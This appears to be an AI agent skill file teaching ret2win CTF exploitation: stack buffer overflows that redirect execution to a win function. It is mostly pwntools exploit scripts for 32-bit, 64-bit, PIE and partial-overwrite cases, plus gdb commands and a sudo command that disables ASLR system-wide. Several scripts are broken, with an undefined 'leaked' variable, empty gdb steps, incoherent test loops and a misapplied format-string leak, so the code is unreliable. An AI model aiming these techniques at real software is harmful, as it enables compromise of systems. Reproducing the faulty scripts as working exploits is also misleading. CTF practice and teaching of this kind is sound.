| name | ret2win-exploit |
| description | How to solve ret2win CTF challenges by exploiting buffer overflows to call a hidden win function. Use this skill whenever the user mentions ret2win, buffer overflow exploitation, calling a win/flag function, CTF binary exploitation, stack overflow to redirect execution, or any challenge where you need to overwrite a return address to execute a specific function. This applies to 32-bit and 64-bit binaries, with or without ASLR/PIE protections. |
Ret2Win Exploitation Guide
Ret2win challenges involve exploiting a buffer overflow vulnerability to overwrite the return address on the stack, redirecting execution to a hidden win function that prints the flag.
Quick Start
- Analyze the binary - Check protections and find the win function address
- Determine overflow offset - Find how many bytes to the return address
- Craft the payload - Padding + win function address
- Execute and iterate - Run the exploit, adjust if needed
Step 1: Binary Analysis
Check Protections
checksec --file vulnerable
readelf -l vulnerable | grep GNU_RELRO
Find the Win Function Address
objdump -d vulnerable | grep -A 20 '<win>'
gdb ./vulnerable
(gdb) break win
(gdb) info address win
(gdb) x/i $pc
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
print(hex(b.symbols['win']))
Note: If PIE is enabled, the address will be relative. You'll need a leak to get the base address, or use partial overwrite (see below).
Step 2: Find the Overflow Offset
Method 1: Pattern Create (pwntools)
from pwn import *
pattern = cyclic(100)
p = process('./vulnerable')
p.sendline(pattern)
offset = cyclic_find(crashed_eip_value)
print(f"Offset to return address: {offset}")
Method 2: Manual Testing
from pwn import *
p = process('./vulnerable')
for length in range(60, 100, 4):
p = process('./vulnerable')
p.sendline(b'A' * length)
try:
p.wait()
if p.poll() is None:
continue
except:
pass
Method 3: GDB with Pattern
(gdb) break *main+50
(gdb) run
(gdb)
(gdb)
(gdb) info registers eip
(gdb)
Step 3: Craft the Exploit
Basic 32-bit Exploit (No ASLR, No PIE)
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
win_addr = b.symbols['win']
offset = 68
payload = b'A' * offset + p32(win_addr)
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
64-bit Exploit
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
win_addr = b.symbols['win']
offset = 72
payload = b'A' * offset + p64(win_addr)
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
With PIE (Need Leak)
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
p = process('./vulnerable')
p.sendline(b'%p')
leaked_addr = u64(p.recvline().strip()[:6].ljust(8, b'\x00'))
base = leaked_addr - b.symbols['known_function']
win_addr = base + b.symbols['win']
offset = 68
payload = b'A' * offset + p64(win_addr)
p.sendline(payload)
p.interactive()
Partial Overwrite (When ASLR is on but last nibble is stable)
from pwn import *
context.binary = './vulnerable'
b = ELF('./vulnerable')
win_addr = b.symbols['win']
partial = p32(win_addr)[-1:]
offset = 68
payload = b'A' * offset + partial
for _ in range(100):
p = process('./vulnerable')
p.sendline(payload)
if b'flag' in p.recvall():
print("Got the flag!")
break
Common Scenarios
Scenario 1: Simple 32-bit, No Protections
from pwn import *
b = ELF('./vulnerable')
offset = 68
win = b.symbols['win']
payload = b'A' * offset + p32(win)
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
Scenario 2: 64-bit with ASLR, Need Leak
from pwn import *
b = ELF('./vulnerable')
p = process('./vulnerable')
base = leaked - b.symbols['leaked_func']
win = base + b.symbols['win']
offset = 72
payload = b'A' * offset + p64(win)
p.sendline(payload)
p.interactive()
Scenario 3: Partial Overwrite (1 byte)
from pwn import *
b = ELF('./vulnerable')
win = b.symbols['win']
partial = p32(win)[-1:]
offset = 68
payload = b'A' * offset + partial
for i in range(20):
p = process('./vulnerable')
p.sendline(payload)
try:
output = p.recvall()
if b'flag' in output or b'Congratulations' in output:
print(f"Success on attempt {i+1}!")
print(output)
break
except:
pass
Debugging Tips
Using GDB with Pwntools
from pwn import *
context.binary = './vulnerable'
p = gdb.debug('./vulnerable', '''
break *main+50
continue
''')
p = process('./vulnerable')
gdb.attach(p)
Common Issues
| Issue | Solution |
|---|
| Segfault immediately | Offset is wrong, recalculate with cyclic |
| Wrong address | Check if PIE is on, use leak or partial overwrite |
| Canary error | Need to leak/bypass canary first |
| NX error | You're trying to execute stack, use ret2win not shellcode |
| Address changes each run | ASLR is on, disable with setarch or use leak |
Disable ASLR for Testing
sudo sysctl -w kernel.randomize_va_space=0
setarch $(uname -m) -R ./vulnerable
Using the Helper Scripts
The skill includes helper scripts to speed up exploitation:
python scripts/ret2win-exploit.py --binary ./vulnerable --offset 68 --arch 32
python scripts/find-win-addr.py ./vulnerable
python scripts/test-offset.py ./vulnerable --range 60-100
References
Key Takeaways
- Always check protections first - PIE and canaries change the approach
- Find the exact offset - Use cyclic patterns, don't guess
- Get the win address - Static (objdump) or dynamic (gdb/pwn)
- Handle ASLR - Leak, partial overwrite, or disable for testing
- Test iteratively - Start simple, add complexity as needed